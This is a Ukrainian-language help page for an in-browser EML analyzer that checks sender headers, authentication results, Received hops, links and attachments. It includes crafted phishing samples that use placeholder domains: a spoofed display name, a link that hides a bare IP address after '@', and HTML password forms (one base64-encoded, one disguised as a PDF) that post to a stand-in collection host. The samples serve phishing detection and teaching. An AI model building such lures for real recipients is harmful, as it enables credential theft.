Перевірте записи SPF (з лімітом у 10 DNS-запитів), DMARC, DKIM, MTA-STS і BIMI домену.
Аналізатор EML-файлів
Сам інструмент доступний англійською мовою; на цій сторінці наведено пояснення вашою мовою.
Використовуйте Аналізатор EML-файлів
Як це працює
Перетягніть файл .eml або вставте вихідний код листа, щоб перевірити заголовки відправника, ланцюжок Received, посилання та вкладення. Усе працює у вашому браузері.
Програма працює повністю у вашому браузері: жодні введені вами дані не завантажуються.
Як користуватися Аналізатор EML-файлів
- Отримайте сирий лист. Збережіть лист як .eml або скопіюйте його вихідний код: у Gmail — Show original, в Outlook — View message source, у Thunderbird чи Apple Mail — View source. Файли Outlook .msg не читаються.
- Завантажте його. Перетягніть файл .eml у поле або виберіть його (до 50 МБ), чи вставте вихідний код у текстове поле (до 5 МБ) і натисніть Analyze (аналізувати).
- Прочитайте Summary. Висновки поділено на ознаки небезпеки, попередження, примітки та пройдені перевірки. Кожен рядок називає заголовок, посилання або вкладення, з якого він походить.
- Перевірте подробиці. Під підсумком розташовано заголовки відправника, домени, порівняні з доменом From, результати автентифікації, ланцюжок Received, кожне посилання й кожне вкладення.
- Заберіть індикатори. Позначте потрібні типи індикаторів, а потім скопіюйте їх у сирому або знешкодженому (defanged) вигляді, завантажте як файл .txt або скористайтеся Send to.
Приклад
Спеціально складений фішинговий лист
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…Відображуване ім'я, що видає себе за support@example.com, Reply-To і DKIM на інших доменах, DMARC fail, посилання, текст якого показує www.example.com, але веде на login.example.net, і вкладення invoice.pdf.html з формою для пароля.
Що перевіряється
| Сигнал | Що це означає |
|---|---|
| Відображуване ім'я з адресою електронної пошти | Небезпека, коли ім'я показує одну адресу, а справжній відправник — інший. Поштові програми часто показують лише ім'я. |
| Reply-To на іншому домені | Попередження: ваша відповідь піде до іншої організації, ніж відправник. |
| Authentication-Results | DMARC fail і SPF fail — ознаки небезпеки; SPF softfail і DKIM fail — попередження. Враховується лише результат, доданий вашим власним провайдером. |
| Домени Return-Path і DKIM d= | Відзначаються, коли вони відрізняються від домену From. Для сервісів масових розсилок це нормально, але для DMARC один із них має збігатися. |
| Ланцюжок Received | Хопи показано від найстарішого із затримками. Позначаються мітка часу, раніша за попередній хоп, затримка понад годину або зворотний DNS із "may be forged" (можливо підроблено). |
| Текст і адреса посилання | Небезпека, коли видимий текст називає один домен, а посилання веде на інший, або коли текст перед @ приховує справжній хост. Також позначаються голі IP-адреси, punycode, скорочувачі посилань та обгорнуті посилання. |
| Вкладення | Позначаються подвійні розширення, файли, що виконують код або відкриваються в браузері, вміст, що не відповідає розширенню, і трюки з символом right-to-left override. Для кожного файлу обчислюються SHA-256, SHA-1 і MD5. |
| Форми та скрипти в HTML | Форма з полем для пароля в тілі листа чи у вкладенні — ознака небезпеки. Код скрипту у вкладенні — попередження. |
Ще кілька прикладів
Посилання, що приховує IP-адресу
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 ознака небезпеки, "1 link: text before "@" is ignored: the real host is 203.0.113.7" (текст перед @ ігнорується, справжній хост — 203.0.113.7), і 1 попередження, "1 link: link goes to a bare IP address" (посилання веде на голу IP-адресу). Таблиця Links показує знешкоджену адресу поруч із її текстом Upgrade storage.
HTML-сторінка, що видає себе за PDF
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 ознаки небезпеки: вкладення invoice.pdf "contains a form with a password field" (містить форму з полем для пароля), а його "content is HTML document, not .pdf" (вміст — HTML-документ, а не .pdf). Картка вкладення показує Content: HTML document і три хеші; таблиця Links містить адресу, куди надсилає форма, з приміткою "form submits data to this address".
Часті запитання
Що перевіряє EML Analyzer?
Він декодує заголовки й кожну частину MIME, порівнює домени From, Reply-To, Return-Path, DKIM d= і Message-ID та читає Authentication-Results. Також він показує хопи Received із затримками, кожне посилання з його видимим текстом і SHA-256, SHA-1 та MD5 кожного вкладення.
Чи може він довести, що лист фішинговий або безпечний?
Ні. Він показує факти й тривожні ознаки, а не вердикт: легітимні масові розсилки часто мають інший домен Return-Path або DKIM, а підписи DKIM лише перелічуються, але криптографічно не перевіряються. Файли Outlook .msg не підтримуються; спершу збережіть лист як .eml.
Чи вивантажується лист кудись?
Ні. Файл читається й розбирається у вашому браузері, HTML показується як текст і ніколи не відтворюється, і нічого не передається мережею. Кнопка Send to (надіслати до) передає результат на сторінку іншого інструмента через сховище сесії (session storage) вашого браузера.
Якому заголовку Authentication-Results він довіряє?
Тому, що доданий вашою власною поштовою системою: його розпізнано за ланцюжком Received і позначено "added by the recipient's server" (додано сервером одержувача). Заголовки нижче в листі може написати відправник, тож сторінка радить довіряти лише результату вашого провайдера.
Чи може він відкрити лист, вкладений в інший лист?
Так. Вкладений лист показано з його хешами та кнопкою "Analyze the attached message" (проаналізувати вкладений лист), яка відкриває його в тому самому вікні. "Back to the outer message" повертає до зовнішнього листа.
Чому деяких IP-адрес немає серед індикаторів?
Приватні та локальні адреси, а також хопи всередині поштової системи одержувача не включаються, бо вони не вказують на сервери відправника. Адреси електронної пошти одержувачів також ніколи не включаються.